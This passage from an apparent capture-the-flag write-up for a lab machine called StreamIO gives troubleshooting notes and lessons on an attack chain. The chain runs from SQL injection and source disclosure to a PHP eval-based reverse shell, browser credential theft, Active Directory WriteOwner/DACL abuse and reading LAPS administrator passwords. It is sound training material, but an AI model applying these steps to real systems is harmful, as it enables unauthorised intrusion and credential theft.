Next: Use PowerShell reverse shell, which worked reliably here
Symptom: where sqlcmd returns empty
Meaning: sqlcmd.exe is not in PATH or PowerShell alias behavior is misleading
Next: Search C:\Program Files recursively for sqlcmd.exe
Symptom: User folders look empty after WinRM
Meaning: Visible profile folders often have no loot
Next: Check hidden AppData, especially browser profiles
Symptom: Firefox decryptor output is noisy
Meaning: firepwd prints crypto internals before credentials
Next: Look after decrypting login/password pairs or filter output with grep/sed
Symptom: JDgodd works for SMB/LDAP but not WinRM
Meaning: Valid domain credential, but no remote management rights
Next: Use it for BloodHound/RustHound, not shell access
Symptom: BloodHound shows CORE STAFF has zero members
Meaning: The group is empty, not useless
Next: Abuse WriteOwner to add JDgodd to the group
Symptom: Saved Cypher query returns no results
Meaning: BloodHound query/tagging may not represent the path cleanly
Next: Manually inspect the edge JDgodd -> WriteOwner -> CORE STAFF
Symptom: add groupMember fails after owneredit
Meaning: Ownership alone is not enough
Next: Run dacledit.py to grant JDgodd FullControl over the group DACL first
Symptom: LDAP LAPS query returns nothing
Meaning: Group membership may not be applied or wrong account is querying
Next: Verify JDgodd is a member of CORE STAFF, then retry LDAP bind as JDgodd
π Personal Notes
StreamIO was a good CPTS-style machine because it chained several different skill areas instead of relying on one exploit.
The first big lesson was that manual SQLi still matters. The search function did not give an easy automated path, and obvious payloads triggered blocking. The working approach was careful MSSQL union testing, column counting, and then enumerating sysobjects, syscolumns, and the users table manually.
The second major lesson was that authenticated web enumeration changes the surface. The debug parameter only became useful after valid web login. Once found, it was clearly a developer feature, and PHP filter source disclosure turned it into source-code review.
The source review was the real turning point. index.php revealed the unsafe dynamic include and hardcoded DB credentials. master.php revealed the dangerous eval(file_get_contents($_POST['include'])) sink. This was much cleaner than trying random payloads.
The RCE troubleshooting was also useful. The target fetched test.php, so the web exploit worked. The failure was payload delivery. The original nc64.exe was HTML, not a PE binary. Even after fixing that, PowerShell was the more reliable reverse shell path.
The post-exploitation chain was credential-driven. Hardcoded source credentials led to MSSQL backup data. Backup database credentials led to nikk37. nikk37 led to Firefox saved credentials. Firefox credentials led to JDgodd. JDgodd led to AD ACL abuse.
The BloodHound part was initially confusing because CORE STAFF looked empty and the saved Cypher queries were not helpful. The key was not group membership or nesting; it was object control. JDgodd had WriteOwner over CORE STAFF. That meant the path was ownership abuse, DACL modification, and then group membership modification.
The final privilege escalation was a good reminder of how powerful LAPS read permissions are. Once JDgodd was added to CORE STAFF, the ms-Mcs-AdmPwd attribute became readable through LDAP, and that exposed the local Administrator password for the DC.
Overall, StreamIO reinforced a strong methodology:
- Enumerate web carefully.
- Extract and crack credentials.
- Use authenticated access to expand the attack surface.
- Read source code when possible.
- Treat post-exploitation as credential and data discovery.
- Use BloodHound edges carefully and understand what the edge actually means.
- Translate AD object-control edges into precise abuse steps.